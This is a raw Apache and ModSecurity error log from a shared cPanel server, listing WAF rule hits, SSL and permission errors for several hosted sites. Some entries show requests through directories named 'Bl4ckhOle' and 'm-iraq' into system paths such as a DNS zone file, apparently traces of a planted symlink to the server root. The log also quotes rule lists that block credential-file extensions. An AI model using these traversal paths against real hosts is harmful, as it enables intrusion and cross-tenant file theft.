[Fri Jul 17 08:30:22.647111 2026] [security2:error] [pid 1993671:tid 1993671] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almaxA5GPQ6hs4VrfMo-HAAAAAY"]
[Fri Jul 17 08:30:22.667400 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:25.088719 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:47744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:26.031842 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almayhAi3pC6yjXGNq19jAAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:30:26.031977 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almayhAi3pC6yjXGNq19jAAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:30:27.125418 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:47858] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:30.916093 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory19/node0/memory0/subsystem/drivers_probe
[Fri Jul 17 08:30:31.551939 2026] [security2:error] [pid 2014321:tid 2014321] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-25-11_10_21.pdf"] [unique_id "almaz9bqW6u97-NXXfOr_QAAACE"]
[Fri Jul 17 08:30:31.552415 2026] [security2:error] [pid 2014321:tid 2014321] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-25-11_10_21.pdf"] [unique_id "almaz9bqW6u97-NXXfOr_QAAACE"]
[Fri Jul 17 08:30:31.552843 2026] [security2:error] [pid 2014321:tid 2014321] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-25-11_10_21.pdf"] [unique_id "almaz9bqW6u97-NXXfOr_QAAACE"]
[Fri Jul 17 08:30:32.391218 2026] [cgi:error] [pid 2013830:tid 2013830] [client 47.128.62.170:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:30:32.391330 2026] [cgi:error] [pid 2013830:tid 2013830] [client 47.128.62.170:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:30:32.456944 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:45732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:32.712276 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:33.974396 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:34.224327 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:36.539296 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:45936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:37.241292 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:45962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:37.700405 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:37.736080 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:37.800447 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:38.439297 2026] [security2:error] [pid 2013829:tid 2013829] [client 143.244.57.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/systemte-global": Permission denied [hostname "systemtec.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "alma1g7FYe46zHK_jL3MngAAABk"]
[Fri Jul 17 08:30:38.439331 2026] [security2:error] [pid 2013829:tid 2013829] [client 143.244.57.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/systemte-ip": Permission denied [hostname "systemtec.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "alma1g7FYe46zHK_jL3MngAAABk"]
[Fri Jul 17 08:30:38.782587 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:38.818017 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:40.424459 2026] [security2:error] [pid 2013809:tid 2013809] [client 143.244.57.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/systemte-global": Permission denied [hostname "systemtec.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "alma2EgVnBK6wAv37w6pHwAAABQ"]
[Fri Jul 17 08:30:40.424518 2026] [security2:error] [pid 2013809:tid 2013809] [client 143.244.57.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/systemte-ip": Permission denied [hostname "systemtec.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "alma2EgVnBK6wAv37w6pHwAAABQ"]
[Fri Jul 17 08:30:40.782983 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46272] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:41.630549 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:52492] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:42.304679 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alma2lh1WDijTxd1xw5JVAAAAAc"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:30:42.304863 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alma2lh1WDijTxd1xw5JVAAAAAc"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:30:42.619211 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:42.718170 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:42.782884 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:52544] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:43.470106 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alma21xP5-SsqbGuGB2lhAAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:30:43.470147 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alma21xP5-SsqbGuGB2lhAAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:30:44.008457 2026] [security2:error] [pid 2014279:tid 2014279] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alma20z_ZDvgWqiMlMbLtwAAAB0"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:30:44.008488 2026] [security2:error] [pid 2014279:tid 2014279] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alma20z_ZDvgWqiMlMbLtwAAAB0"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:30:44.415500 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:52636] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:45.746518 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:52734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:46.319163 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:46.320490 2026] [security2:error] [pid 2013829:tid 2013829] [client 47.82.13.220:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:24/subsystem/tty46/subsystem/tty4/"] [unique_id "alma3g7FYe46zHK_jL3MpQAAABk"]
[Fri Jul 17 08:30:46.320526 2026] [security2:error] [pid 2013829:tid 2013829] [client 47.82.13.220:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:24/subsystem/tty46/subsystem/tty4/"] [unique_id "alma3g7FYe46zHK_jL3MpQAAABk"]
[Fri Jul 17 08:30:46.783101 2026] [security2:error] [pid 2013797:tid 2013797] [client 5.78.140.151:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "osbm.kamechotech.com"] [uri "/"] [unique_id "alma3lh1WDijTxd1xw5JWAAAAAc"]
[Fri Jul 17 08:30:46.783527 2026] [security2:error] [pid 2013797:tid 2013797] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "osbm.kamechotech.com"] [uri "/"] [unique_id "alma3lh1WDijTxd1xw5JWAAAAAc"]
[Fri Jul 17 08:30:46.784501 2026] [security2:error] [pid 2013797:tid 2013797] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "osbm.kamechotech.com"] [uri "/index.html"] [unique_id "alma3lh1WDijTxd1xw5JWAAAAAc"]
[Fri Jul 17 08:30:47.876059 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:47.898975 2026] [ssl:error] [pid 2015187:tid 2015187] (70014)End of file found: [client 66.85.158.91:52820] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:49.675430 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:49.867465 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:51.010974 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:52958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:52.380389 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:52.877560 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:54.069121 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:55.812800 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:57.878660 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:30:58.676784 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:41912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:30:59.023246 2026] [security2:error] [pid 2014256:tid 2014256] [client 5.78.140.151:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.osbm.kamechotech.com"] [uri "/"] [unique_id "alma64Zvbo7N5o5zeYC7WAAAABw"]
[Fri Jul 17 08:30:59.023581 2026] [security2:error] [pid 2014256:tid 2014256] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.osbm.kamechotech.com"] [uri "/"] [unique_id "alma64Zvbo7N5o5zeYC7WAAAABw"]
[Fri Jul 17 08:30:59.024260 2026] [security2:error] [pid 2014256:tid 2014256] [client 5.78.140.151:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.osbm.kamechotech.com"] [uri "/index.html"] [unique_id "alma64Zvbo7N5o5zeYC7WAAAABw"]
[Fri Jul 17 08:30:59.725690 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:01.279253 2026] [security2:error] [pid 2015187:tid 2015187] [client 177.25.89.42:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/wancorp.net.db"] [unique_id "alma7Zht1IYIWQIv0_OHoQAAAAs"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:31:01.279653 2026] [security2:error] [pid 2015187:tid 2015187] [client 177.25.89.42:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/wancorp.net.db"] [unique_id "alma7Zht1IYIWQIv0_OHoQAAAAs"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:31:01.280137 2026] [security2:error] [pid 2015187:tid 2015187] [client 177.25.89.42:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/var/named/wancorp.net.db"] [unique_id "alma7Zht1IYIWQIv0_OHoQAAAAs"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:31:01.550224 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:52440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:02.492077 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:02.761487 2026] [security2:error] [pid 1993584:tid 1993584] [client 84.54.92.61:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/epid/public/fact-sheets/www.sample.com"] [unique_id "alma7lxP5-SsqbGuGB2llAAAAAA"]
[Fri Jul 17 08:31:02.761955 2026] [security2:error] [pid 1993584:tid 1993584] [client 84.54.92.61:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/epid/public/fact-sheets/www.sample.com"] [unique_id "alma7lxP5-SsqbGuGB2llAAAAAA"]
[Fri Jul 17 08:31:02.881239 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:02.881920 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/modules/4.18.0-553.62.1.lve.el8.x86_64/kernel/sound/firewire/dice/"] [unique_id "alma7lh1WDijTxd1xw5JYQAAAAc"]
[Fri Jul 17 08:31:02.881956 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/modules/4.18.0-553.62.1.lve.el8.x86_64/kernel/sound/firewire/dice/"] [unique_id "alma7lh1WDijTxd1xw5JYQAAAAc"]
